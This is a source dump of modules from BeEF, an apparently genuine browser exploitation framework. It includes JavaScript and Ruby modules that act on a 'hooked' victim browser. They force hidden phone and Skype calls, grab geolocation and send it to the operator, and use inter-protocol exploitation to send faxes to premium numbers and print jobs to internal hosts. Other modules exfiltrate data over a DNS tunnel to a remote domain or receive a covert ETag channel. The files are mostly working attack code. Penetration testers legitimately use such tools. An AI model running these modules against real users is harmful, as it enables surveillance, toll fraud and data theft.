BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/hook_default_browser/bounce_to_ie_configured.pdf', '/report', 'pdf', -1)\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n\n    save content\n    # update_zombie!\n  end\nend\n"
  },
  {
    "path": "modules/host/hook_microsoft_edge/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar edge_url = \"<%== @url %>\";\n\twindow.location = 'microsoft-edge:' + edge_url;\n  beef.debug(\"Attempted to open \" + edge_url + \" in Microsoft Edge.\");\n  beef.net.send('<%= @command_url %>', <%= @command_id %>, \"Attempted to open \" + edge_url + \" in Microsoft Edge.\");\n});\n"
  },
  {
    "path": "modules/host/hook_microsoft_edge/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        hook_microsoft_edge:\n            enable: true\n            category: \"Host\"\n            name: \"Hook Microsoft Edge\"\n            description: \"This module will use the 'microsoft-edge:' protocol handler to attempt to hook Microsoft Edge (assuming it isn't currently hooked).<br/><br/>Note: the user will be prompted to open Microsoft Edge.\"\n            authors: [\"bcoles\"]\n            target:\n                user_notify: [\"C\"]\n"
  },
  {
    "path": "modules/host/hook_microsoft_edge/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Hook_microsoft_edge < BeEF::Core::Command\n  def self.options\n    configuration = BeEF::Core::Configuration.instance\n    hook_uri = \"#{configuration.beef_url_str}/demos/plain.html\"\n\n    [\n      { 'name' => 'url', 'ui_label' => 'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/host/insecure_url_skype/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar sploit = beef.dom.createInvisibleIframe();\n\tsploit.src = 'skype:<%= @tel_num %>?call';\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=IFrame Created!\");\n});\n"
  },
  {
    "path": "modules/host/insecure_url_skype/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        insecure_url_skype:\n            enable: false\n            category: \"Host\"\n            name: \"Make Skype Call (Skype)\"\n            description: \"This module will force the browser to attempt a skype call. It will exploit the insecure handling of URL schemes<br><br>The protocol handler used will be: skype.\"\n            authors: [\"xntrik\", \"Nitesh Dhanjani\"]\n            target:\n                user_notify: ['S', 'C', 'FF', 'O']\n"
  },
  {
    "path": "modules/host/insecure_url_skype/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Insecure_url_skype < BeEF::Core::Command\n  def self.options\n    [{\n      'name' => 'tel_num',\n      'description' => 'The telephone number to dial',\n      'ui_label' => 'Number',\n      'value' => '5551234',\n      'width' => '200px'\n    }]\n  end\n\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/host/iphone_tel/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar sploit = beef.dom.createInvisibleIframe();\n\tsploit.src = 'tel:<%= @tel_num %>';\n\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=IFrame Created!\");\n});\n"
  },
  {
    "path": "modules/host/iphone_tel/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        iphone_tel:\n            enable: true\n            category: \"Host\"\n            name: \"Make Telephone Call\"\n            description: \"This module will force the browser to attempt a telephone call in iOS. It will exploit the insecure handling of URL schemes in iOS.<br><br>The protocol handler used will be: tel\"\n            authors: [\"xntrik\", \"Nitesh Dhanjani\"]\n            target:\n                user_notify:\n                    S:\n                        os: [\"iOS\"]\n                not_working:\n                    ALL:\n                        os: [\"All\"]\n"
  },
  {
    "path": "modules/host/iphone_tel/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Iphone_tel < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'tel_num', 'description' => 'Telephone number', 'ui_label' => 'Number', 'value' => '5551234', 'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/host/physical_location/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    if(!beef.geolocation.isGeolocationEnabled()){\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"geoLocEnabled=FALSE&latitude=&longitude=\");\n\t\treturn;\n    }\n\n    beef.geolocation.getGeolocation(\"<%= @command_url %>\", <%= @command_id %>);\n\n});\n\n"
  },
  {
    "path": "modules/host/physical_location/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        physical_location:\n            enable: true\n            category: \"Host\"\n            name: \"Get Geolocation (API)\"\n            description: \"This module will retrieve the physical location of the hooked browser using the geolocation API.\"\n            authors: [\"antisnatchor\"]\n            target:\n                user_notify:\n                    IE:\n                        min_ver: 9\n                        max_ver: latest\n                    FF:\n                        # It's actually 3.5 but min_ver only supports integers\n                        min_ver: 4\n                        max_ver: latest\n                    O:\n                        # It's actually 10.6 but min_ver only supports integers\n                        min_ver: 11\n                        max_ver: latest\n                    C:\n                        min_ver: 5\n                        max_ver: latest\n                    S:\n                        min_ver: 5\n                        max_ver: latest\n\n"
  },
  {
    "path": "modules/host/physical_location/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Physical_location < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['Geolocation Enabled'] = @datastore['geoLocEnabled']\n    content['Latitude'] = @datastore['latitude']\n    content['Longitude'] = @datastore['longitude']\n    content['OSM address'] = @datastore['osm']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/host/physical_location_thirdparty/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var url = \"<%= @api_url %>\";\n  var timeout = 10000;\n\n  if (!beef.browser.hasCors()) {\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error());\n    return;\n  }\n\n  beef.net.cors.request('GET', url, '', timeout, function(response) {\n    beef.debug(\"[Get Physical Location (Third-Party] \" + response.body);\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=\" + response.body, beef.are.status_success());\n  });\n});\n"
  },
  {
    "path": "modules/host/physical_location_thirdparty/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        physical_location_thirdparty:\n            enable: true\n            category: \"Host\"\n            name: \"Get Geolocation (Third-Party)\"\n            description: \"This module retrieves the physical location of the hooked browser using third-party hosted geolocation APIs.\"\n            authors: [\"bcoles\"]\n            target:\n                working: \"ALL\"\n"
  },
  {
    "path": "modules/host/physical_location_thirdparty/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Physical_location_thirdparty < BeEF::Core::Command\n  def self.options\n    [{\n      'name' => 'api_url',\n      'type' => 'combobox',\n      'ui_label' => 'API',\n      'store_type' => 'arraystore',\n      'store_fields' => ['api_url'],\n      'store_data' =>\n      [\n        %w[http://ip-api.com/json],\n        %w[https://ip.nf/me.json],\n        %w[https://ipapi.co/json],\n        %w[https://geoip.tools/v1/json],\n        %w[https://geoip.nekudo.com/api/],\n        %w[https://extreme-ip-lookup.com/json/],\n        %w[http://www.geoplugin.net/json.gp],\n        %w[https://ipinfo.io/json]\n      ],\n      'emptyText' => 'Select an API',\n      'valueField' => 'api_url',\n      'displayField' => 'api_url',\n      'mode' => 'local',\n      'forceSelection' => 'false',\n      'autoWidth' => true\n    }]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/ipec/cross_site_faxing/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar target_ip = \"<%= @ip %>\";\n\tvar target_port = \"<%= @port %>\";\n\tvar recname = \"<%= @recname %>\";\n\tvar recfax = \"<%= @recfax %>\";\n\tvar subject = \"<%= @subject %>\";\n\tvar msg = \"<%= @msg.gsub(/\"/, '\\\\\"').gsub(/\\r?\\n/, '\\\\n') %>\";\n\t\n\tvar uri = \"http://\"+target_ip+\":\"+target_port+\"/\";\n\tvar post_body = \"@F201 \"+recname+\"@@F211 \"+recfax+\"@@F307 \"+subject+\"@@F301 1@\\n\"+msg;\n\n\tvar xhr = new XMLHttpRequest();\t\n\t\n\txhr.open(\"POST\", uri, true);\n\txhr.setRequestHeader(\"Content-Type\", \"text/plain\");\n\txhr.send(post_body);\n\tsetTimeout(function(){xhr.abort()}, 2000);\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');\n\n});\n\n"
  },
  {
    "path": "modules/ipec/cross_site_faxing/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        cross_site_faxing:\n            enable: true\n            category: \"IPEC\"\n            name: \"Cross-Site Faxing (XSF)\"\n            description: \"Using Inter-protocol Exploitation/Communication (IPEC) the hooked browser will send a message to ActiveFax RAW server socket (3000 by default) on the target specified in the 'Target Address' input field.  This module can send a FAX to a (premium) faxnumber via the ActiveFax Server.<br /><br />The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.\"\n            authors: [\"Bart Leppens\"]\n            target:\n                working: [\"all\"]\n"
  },
  {
    "path": "modules/ipec/cross_site_faxing/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Cross_site_faxing < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'ip', 'ui_label' => 'Target Address', 'value' => 'localhost' },\n      { 'name' => 'port', 'ui_label' => 'Target Port', 'value' => '3000' },\n      { 'name' => 'recname', 'ui_label' => 'Name of the receiver', 'value' => 'BeEF' },\n      { 'name' => 'recfax', 'ui_label' => 'Fax number of the recipient', 'value' => '+1 11 112233-2' },\n      { 'name' => 'subject', 'ui_label' => 'Subject', 'value' => 'Got some BeEF?' },\n      { 'name' => 'msg', 'ui_label' => 'Message', 'description' => 'Message to print', 'type' => 'textarea', 'value' => \"\n**********************************************************************\n\n                                     .O,\n                                     lkOl\n                                     od cOc\n                                     'X,  cOo.\n                                      cX,   ,dkc.\n              BeEF                     ;Kd.    ,odo,.\n                                        .dXl   .  .:xkl'\n                                          'OKc  .;c'  ,oOk:\n                                            ,kKo. .cOkc. .lOk:.\n                                              .dXx.  :KWKo. 'dXd.\n                                                .oXx.  cXWW0c..dXd.\n                                                  oW0   .OWWWNd.'KK.\n                                          ....,;lkNWx     KWWWWX:'XK.\n ,o:,                          .,:odkO00XNK0Okxdlc,.     .KWWWWWWddWd\n  K::Ol                   .:d0NXK0OkxdoxO'             .lXWWWWWWWWKW0\n  od  d0.              .l0NKOxdooooooox0.        .,cdOXWWWWWWWWWWWWWx\n  :O   ;K;           ;kN0kooooooooooooK:  .':ok0NWWWWWWWWWWWWWWWWWWK.\n  'X    .Kl        ;KNOdooooooooooooooXkkXWWWWWWWWWWWWWWWWWWWWWWWNd.\n  .N. o. .Kl     'OW0doooooooooooooodkXWWWWWWWWWWWWWWWWWWWWWWWW0l.\n   0l oK' .kO:';kNNkoooooooooooook0XWWWWWWWWWWWWWWWWWWWWWWWKx:.\n   lX.,WN:  .:c:xWkoooooooooood0NWW0OWWWWWWWWWWWWWWWWWWWKo.\n    0O.0WWk'   .XKoooooooooooONWWNo  dWWWWWWWWWWWWWWWWWl\n     oKkNWWWX00NWXdooooooooxXWWNk'   dWWWWWWWWWWWWWWWWX\n      .cONWWWWWWWWOoooooooONWWK:...c0WWWWWWWWWWWWWWWWWW:\n         .;oONWWWWxooooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX.\n              'XW0oooookNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWd\n              oW0ooooo0WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWO\n             ;NXdooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWx\n          ;xkOOdooooxOO0KNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX.\n         .NOoddxkkkkxxdoookKWWWWWWWWWWWWWWWWWWWWWWWWWWX'\n          :KNWWWWWWWWWWX0xooONWWWWWWWWWWWWWWWWWWWWWWWk.\n         .xNXxKWWWWWWWOXWWXxoKWWWWWWWWWWWWWWWWWWWWNk'\n         OWl cNWWWWWWWk oNWNxKWWWWWWWWWWWWWWWWWNOl.\n        ,Wk  xWWWWWWWWd  xWWNWWWWWWWWWWWWXOdc,.\n        .N0   lOXNX0x;  .KWWWWWWWWWWWNkc.\n         :NO,         'lXWWWWWWWWWNk:.\n          .dXN0OkxkO0NWWWWWWWWWWKl.\n             .';o0WWWWWWWWWWWNk;\n                  .cxOKXKKOd;.\n\n**********************************************************************\",\n        'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/ipec/cross_site_printing/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar target_ip = \"<%= @ip %>\";\n\tvar target_port = \"<%= @port %>\";\n\n\t// send a request\n\tfunction send_msg(ip, port) {\n\n\t\t// create iframe\n\t\tvar iframe = document.createElement(\"iframe\");\n\t\tiframe.setAttribute(\"id\",\"ipc_cross_site_printing_<%= @command_id %>\");\n\t\tiframe.setAttribute(\"style\", \"visibility:hidden;width:1px;height:1px;\");\n\t\tdocument.body.appendChild(iframe);\n\t\tiframe = document.getElementById(\"ipc_cross_site_printing_<%= @command_id %>\");\n\n\t\t// create form\n\t\tvar action = \"http://\" + ip + \":\" + port + \"/\";\n\t\tmyform=document.createElement(\"form\");\n\t\tmyform.setAttribute(\"name\",\"data\");\n\t\tmyform.setAttribute(\"method\",\"post\");\n\t\tmyform.setAttribute(\"enctype\",\"multipart/form-data\");\n\t\tmyform.setAttribute(\"action\",action);\n\t\tiframe.contentWindow.document.body.appendChild(myform);\n\n\t\t// create message textarea\n\t\tmyExt = document.createElement(\"textarea\");\n\t\tmyExt.setAttribute(\"id\",\"msg_<%= @command_id %>\");\n\t\tmyExt.setAttribute(\"name\",\"msg_<%= @command_id %>\");\n\t\tmyExt.setAttribute(\"wrap\",\"none\");\n\t\tmyExt.setAttribute(\"rows\",\"70\");\n\t\tmyExt.setAttribute(\"cols\",\"100\");\n\t\tmyform.appendChild(myExt);\n\n\t\t// send message\n\t\tiframe.contentWindow.document.getElementById(\"msg_<%= @command_id %>\").value = \"<%= @msg.gsub(/\"/, '\\\\\"').gsub(/\\r?\\n/, '\\\\n') %>\";\n\t\tmyform.submit();\n\n\t\t// clean up\n\t\tsetTimeout('document.body.removeChild(document.getElementById(\"ipc_cross_site_printing_<%= @command_id %>\"));', 15000);\n\t}\n\n\t// validate target\n\tif (!target_port || !target_ip) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed target host or target port');\n\t} else if (!beef.net.is_valid_port(target_port)) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');\n\t// send request and wait for reply\n\t} else {\n\t\tsend_msg(target_ip, target_port);\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');\n\t}\n\n});\n\n"
  },
  {
    "path": "modules/ipec/cross_site_printing/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        cross_site_printing:\n            enable: true\n            category: \"IPEC\"\n            name: \"Cross-Site Printing (XSP)\"\n            description: \"Using Inter-protocol Exploitation/Communication (IPEC) the hooked browser will send a message to a listening print port (9100 by default) on the target specified in the 'Target Address' input field.<br /><br />The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"FF\"]\n"
  },
  {
    "path": "modules/ipec/cross_site_printing/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Cross_site_printing < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'ip', 'ui_label' => 'Target Address', 'value' => 'localhost' },\n      { 'name' => 'port', 'ui_label' => 'Target Port', 'value' => '9100' },\n      { 'name' => 'msg', 'ui_label' => 'Message', 'description' => 'Message to print', 'type' => 'textarea', 'value' => \"**********************************************************************\n\n                                     .O,\n                                     lkOl\n                                     od cOc\n                                     'X,  cOo.\n                                      cX,   ,dkc.\n              BeEF                     ;Kd.    ,odo,.\n                                        .dXl   .  .:xkl'\n                                          'OKc  .;c'  ,oOk:\n                                            ,kKo. .cOkc. .lOk:.\n                                              .dXx.  :KWKo. 'dXd.\n                                                .oXx.  cXWW0c..dXd.\n                                                  oW0   .OWWWNd.'KK.\n                                          ....,;lkNWx     KWWWWX:'XK.\n ,o:,                          .,:odkO00XNK0Okxdlc,.     .KWWWWWWddWd\n  K::Ol                   .:d0NXK0OkxdoxO'             .lXWWWWWWWWKW0\n  od  d0.              .l0NKOxdooooooox0.        .,cdOXWWWWWWWWWWWWWx\n  :O   ;K;           ;kN0kooooooooooooK:  .':ok0NWWWWWWWWWWWWWWWWWWK.\n  'X    .Kl        ;KNOdooooooooooooooXkkXWWWWWWWWWWWWWWWWWWWWWWWNd.\n  .N. o. .Kl     'OW0doooooooooooooodkXWWWWWWWWWWWWWWWWWWWWWWWW0l.\n   0l oK' .kO:';kNNkoooooooooooook0XWWWWWWWWWWWWWWWWWWWWWWWKx:.\n   lX.,WN:  .:c:xWkoooooooooood0NWW0OWWWWWWWWWWWWWWWWWWWKo.\n    0O.0WWk'   .XKoooooooooooONWWNo  dWWWWWWWWWWWWWWWWWl\n     oKkNWWWX00NWXdooooooooxXWWNk'   dWWWWWWWWWWWWWWWWX\n      .cONWWWWWWWWOoooooooONWWK:...c0WWWWWWWWWWWWWWWWWW:\n         .;oONWWWWxooooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX.\n              'XW0oooookNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWd\n              oW0ooooo0WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWO\n             ;NXdooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWx\n          ;xkOOdooooxOO0KNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX.\n         .NOoddxkkkkxxdoookKWWWWWWWWWWWWWWWWWWWWWWWWWWX'\n          :KNWWWWWWWWWWX0xooONWWWWWWWWWWWWWWWWWWWWWWWk.\n         .xNXxKWWWWWWWOXWWXxoKWWWWWWWWWWWWWWWWWWWWNk'\n         OWl cNWWWWWWWk oNWNxKWWWWWWWWWWWWWWWWWNOl.\n        ,Wk  xWWWWWWWWd  xWWNWWWWWWWWWWWWXOdc,.\n        .N0   lOXNX0x;  .KWWWWWWWWWWWNkc.\n         :NO,         'lXWWWWWWWWWNk:.\n          .dXN0OkxkO0NWWWWWWWWWWKl.\n             .';o0WWWWWWWWWWWNk;\n                  .cxOKXKKOd;.\n\n**********************************************************************\", 'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result'] unless @datastore['result'].nil?\n    content['fail'] = @datastore['fail'] unless @datastore['fail'].nil?\n    content['fail'] = 'No data was returned.' if content.empty?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/ipec/dns_tunnel/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\nPoor man's unidirectional DNS tunnel in JavaScript.\nThe largely-untested, highly experimental first draft.\n\nHow it works:\n\nA remote domain with a DNS server configured to accept wildcard subdomains is required to receive the data. BeEF does not support this feature so you're on your own when it comes to decoding the information.\n\nA domain and message are taken as input. The message is XOR'd, url encoded, the \"%\" are replaced with \".\" and the message is split into segments of 230 bytes. The segments are sent in sequence however there are plans to randomize the order.\n\nTo allow the original message to be pieced back together each message is allocated an id and each DNS query is given a sequence number. The final domain name used in the DNS query is structured as follows:\n\nMESSAGE_ID.SEGMENT_SEQUENCE_NUMBER.TOTAL_SEGMENTS.XOR_KEY.MESSAGE_SEGMENT.REMOTE_DOMAIN\n\nAssuming a remote domain of max length 63 characters this leaves 167 characters for our message segment in each query as per the following breakdown:\n\n[5].[5].[5].[5].[255-5-5-5-5-5-DOMAIN_LENGTH].[DOMAIN_LENGTH]\n\nThis approach, while flawed and simplistic, should comply with the limitations to DNS according to RFC 1035:\no Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters\no Domain names are limited to 255 characters in length (including dots)\no The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)\no Subdomains are limited to 63 characters in length (including the trailing dot)\n\nEach segment is sent by appending an image to the DOM containing the query as the image source. The images are later destroyed.\n\nCaveats:\no Unidirectional - Data can only be sent one way.\no Message size - Limited to messages less than 64KB in length.\no Limited by JavaScript strings. Byte code needs to be converted to a compatible string before it can be sent. There's also lots of wasted space. Converting to hex would be much cleaner and would save a few bytes for each query.\no Throttling - There is no throttling. The browser may only initiate x amount of simultaneous connections. The requests should be throttled to avoid hitting the cap. TODO: Introduce a wait delay between each request to partially account for this.\no Time consuming - It takes forever and there is no resume feature.\no Encryption - Uses very weak \"encryption\" (XOR) and the key is transferred with the request.\no Encoding - Using encodeURI() is a terrible alternative to using base64 for a few reasons. It *might* fail horribly if a high value unicode character is XOR'd with a high value key. It *will* fail horribly if a low value key is used.\no Compression - The requests are not compressed.\no Encoding - Currently uses JavaScript fromCharCode unicode rather than a modified version of base64.\no Padding - The last query contains no padding which makes it easy for network administrators to spot. This isn't really a problem as the sequence numbers are in plain sight.\n\n*/\nbeef.execute(function() {\n\n\tvar msgId   = \"<%= @command_id %>\";\n\tvar wait    = \"<%= @wait %>\";\n\tvar domain  = \"<%= @domain %>\";\n\tvar message = \"<%= @message %>\";\n\n\tbeef.net.dns.send(msgId, message, domain, wait, function(num) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'dns_requests='+num+' requests sent') } );\n\n});\n\n"
  },
  {
    "path": "modules/ipec/dns_tunnel/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        dns_tunnel:\n            enable: false\n            category: \"IPEC\"\n            name: \"DNS Tunnel\"\n            description: \"This module sends data one way over DNS.<br/><br/>A domain and message are taken as input. The message is XOR'd, url encoded, the '%' are replaced with '.' and the message is split into segments of 230 bytes. The segments are sent in sequence along with the sequence number and XOR key.<br/><br/>Note: A remote domain with a DNS server configured to accept wildcard subdomains is required to receive the data. BeEF does not support this feature so you're on your own when it comes to decoding the information.\"\n            authors: [\"bcoles\"]\n            target:\n                working: \"All\"\n"
  },
  {
    "path": "modules/ipec/dns_tunnel/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Dns_tunnel < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    beef_host = @configuration.beef_host\n\n    [\n      { 'name' => 'domain', 'ui_label' => 'Domain', 'type' => 'text', 'width' => '400px', 'value' => beef_host },\n      { 'name' => 'message', 'ui_label' => 'Message', 'type' => 'textarea',\n        'value' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras rutrum fermentum nunc, vel varius libero pharetra a. Duis rhoncus nisi volutpat elit suscipit auctor. In fringilla est eget tortor bibendum gravida. Pellentesque aliquet augue libero, at gravida arcu. Nunc et quam sapien, eu pulvinar erat. Quisque dignissim imperdiet neque, et interdum sem sagittis a. Maecenas non mi elit, a luctus neque. Nam pulvinar libero sit amet dui suscipit facilisis. Duis sed mauris elit. Aliquam cursus scelerisque diam a fringilla. Curabitur mollis nisi in ante hendrerit pellentesque ut ac orci. In congue nunc vitae enim pharetra eleifend.', 'width' => '400px', 'height' => '300px' }\n      #        {'name' => 'wait', 'ui_label' => 'Wait between requests (ms)', 'value' => '1000', 'width'=>'100px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['dns_requests'] = @datastore['dns_requests']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/ipec/etag_client/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n//\n\nbeef.execute(function(){  \n    var start_time    =  0;\n    var origin        = '';\n    var header        = '';\n    var message       = '';\n    var id            = \"<%= @command_id %>\";\n    var curl          = \"<%= @command_url %>\";\n    var payload_name  = \"<%= @payload_name %>\";\n\n    function getHeader(url, mode)\n    {\n\t    var xhr = new XMLHttpRequest();\n\t    xhr.open('GET', url, mode);\n\t    xhr.send();\n\t    if (xhr.status == 404){\n\t\t    throw \"message_end\"\n\t    }\n\t    return xhr.getResponseHeader('ETag');\n    }\n\n    function start( origin, id )\n    {\n        start_time = (new Date()).getTime();\n        header = getHeader( origin + '/etag/' + id + '/start', false);\n    }\n\n    function decode( bin_message )\n    {\n        arr = [];\n        for( var i = 0; i < bin_message.length; i += 8 ) { \n            arr.push(bin_message.substr(i, 8)); \n        }\n        var message = \"\";\n        for( i = 0; i < arr.length; i++ ){\n            message += String.fromCharCode(parseInt(arr[i],2));\n        }\n        return message;\n    }\n\n    function get_data( origin, id )\n    {\n        var interval = setInterval( function()\n                {\n                    try{\n                        newHeader = getHeader( origin + '/etag/' + id, false); \n                    }\n                    catch(e){\n                        // The message is terminated so finish\n                        clearInterval(interval);\n                        final_message=decode( message );\n\n                        delta = ((new Date()).getTime() - start_time)/1000;\n                        bits_per_second = \"\" + message.length/delta; \n\n                        //Save the message in the Window\n                        if (window.hasOwnProperty(payload_name))\n                            window[payload_name] = final_message\n                        else\n                            Object.defineProperty(window,payload_name, { value: final_message,\n                                                                         writable: true,\n                                                                        enumerable: false });\n                        beef.net.send(curl, parseInt(id),'etag_tunnel=true' + '&bps=' + bits_per_second);\n                        return;\n                    }\n                    if (newHeader!==header){\n                        message = message + '1';\n                        header  = newHeader;\n                    } else {\n                        message = message + '0';\n                    }\n                }, 100, header, message);\n    }\n    function get_message( origin, id  )\n    {\n        setTimeout( start( origin, id ), 500 );\n        setTimeout( get_data( origin, id ), 500) ;\n    }\n    get_message( origin, id );\n});\n"
  },
  {
    "path": "modules/ipec/etag_client/config.yaml",
